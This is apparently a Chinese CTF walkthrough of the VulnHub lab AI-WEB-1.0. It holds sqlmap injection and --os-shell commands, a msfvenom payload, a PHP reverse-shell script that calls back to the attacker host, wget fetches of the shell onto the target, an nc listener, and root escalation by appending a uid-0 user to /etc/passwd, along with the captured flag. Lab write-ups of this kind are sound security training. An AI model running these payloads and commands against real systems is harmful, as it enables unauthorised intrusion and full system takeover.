vulnhub:AI-WEB-1.0-测试详情
前半部分用的是NAT,然后在用msf的时候,靶场出问题了,应该是用vmware不怎么适合,然后重启用桥接,用nat的内容主要是查看ip和抓包,已经找数据库,桥接部分是os-shell命令、提权、搭建简易的服务器、将文件下载到靶机、最后提权。
用到的工具:openssl、dirb
VMware:192.168.13.129
靶场:192.168.13.149
用的是VMware,NAT模式
arp-scan -l 找到相应的ip
nmap -T4 -sV -A -O -p- 192.168.13.149
ping 下靶场的ip,发现是能ping通的
访问ip
抵用dirb对ip进行扫描
发现只有这个有点用
对端口再继续扫描
发现了这个,好像可以抓包
sqlmap -u "http://192.168.13.149/se3reTdir777/" --data "uid=1&Operation=Submit" --dbs
根据指示打开文件
sqlmap -u "http://192.168.13.149/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 --tables
要输入("y”,“n”, “q”),其结果都没有我想要的,所以另寻他路
sqlmap -u "http://192.168.13.149/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell
在这个时候,应该是成功的,但是我的靶场出问题了,只能重启再来了,好像我的vmware用的靶场都不能用NAT连接,VirtualBox也不能用连接,不知道是不是一个电脑不能同时装着两个
kali:172.88.6.59
靶场:172.88.6.62
dirb http://172.88.6.62/
dirb http://172.88.6.62/m3diNf0/
这个页面有用
抓个包
sqlmap -u "http://172.88.6.62/se3reTdir777/" --data "uid=1&Operation=Submit" --dbs
sqlmap -u "http://172.88.6.62/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 --tables
sqlmap -u "http://172.88.6.62/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns
似乎没有想要的信息
sqlmap -u "http://172.88.6.62/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/ -------这个是路径
这个好像是权限低的原因
msfvenom -p php/meterpreter/reverse_tcp lhost=172.88.6.62 lport=4567 -f raw > shell.php
wget http://172.88.6.59:9875/shell.php
这个指令驶入了多次,总是没有弹上,就在我放弃的时候,顺便输入ls,f发现可以了,再次输入 wget http://172.88.6.59:9875/shell.php
由于我用msf没有反应,所以放弃了,换一种方法
<?php
$sock=fsockopen("172.88.6.59",8888);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
文件名ai.php
wget http://172.88.6.59:9875/ai.php
nc -lvnp 8888
然后再os-shell中输入 php.ai.php ,然后kali就监听到了
为了使输入端好看点:
python -c 'import pty;pty.spawn("/bin/bash")'
openssl passwd -1 -salt web1 123456 //用openssl生成用户,用户名为panda ,密码为 panda
$1$web1$ZrYgDZgZpLlsnVlxUaZwh/ //生成后/etc/passwd储存用户格式的文件
panda:$1$web1$ZrYgDZgZpLlsnVlxUaZwh/:0:0:root:/root:/bin/bash //写入/etc/passwd文件的格式
su web1
cd /root
──(root㉿kali)-[/home/kali/桌面]
└─# nc -lvnp 8888
listening on [any] 8888 ...
connect to [172.88.6.59] from (UNKNOWN) [172.88.6.62] 58192
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ whoami
</web1x443290o2sdf92213/se3reTdir777/uploads$ whoami
www-data
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ openssl passwd -1 -salt web1 123456
<dir777/uploads$ openssl passwd -1 -salt web1 123456
$1$web1$ZrYgDZgZpLlsnVlxUaZwh/
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ echo 'web1:$1$web1$ZrYgDZgZpLlsnVlxUaZwh/:0:0::/root:/bin/bash'>>/etc/passwd
<gZpLlsnVlxUaZwh/:0:0::/root:/bin/bash'>>/etc/passwd
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ su web1
<web1x443290o2sdf92213/se3reTdir777/uploads$ su web1
Password: 123456
root@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads# whoami
whoami
root
root@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads# ls
ls
ai.php shell.php tmpbqfrf.php tmpubdmd.php
shell2.php shell.php.1 tmpbuogq.php tmpunhsl.php
root@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads# cd root
<web1x443290o2sdf92213/se3reTdir777/uploads# cd root
bash: cd: root: No such file or directory
root@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads# cd /root
<eb1x443290o2sdf92213/se3reTdir777/uploads# cd /root
root@aiweb1:~# ls
ls
flag.txt
root@aiweb1:~# cat flag.txt
cat flag.txt
####################################################
# #
# AI: WEB 1.0 #
# #
# Congratulation!!! #
# #
# Thank you for penetrate my system. #
# #
# Hope you enjoyed this. #
# #
# #
# flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71} #
# #
####################################################
总结一下
1.正常进行信息收集,通过爆破目录发现注入网页
2.判断注入,利用sqlmap进行自动化注入进行爆破重要信息,并判断数据库用户以及权限
3.利用os-shell反弹shell时,需要找到网站绝对路径并且路径需要允许写入
4.kali搭建简易服务器,操控靶机下载shell文件
5.正常的反弹shell
6.修改/etc/passwd文件直接添加root身份的用户进行提权
7.kali中openssl的使用
————————————————
这个是我参考的博主写的
原文链接:https://blog.csdn.net/liver100day/article/details/117745650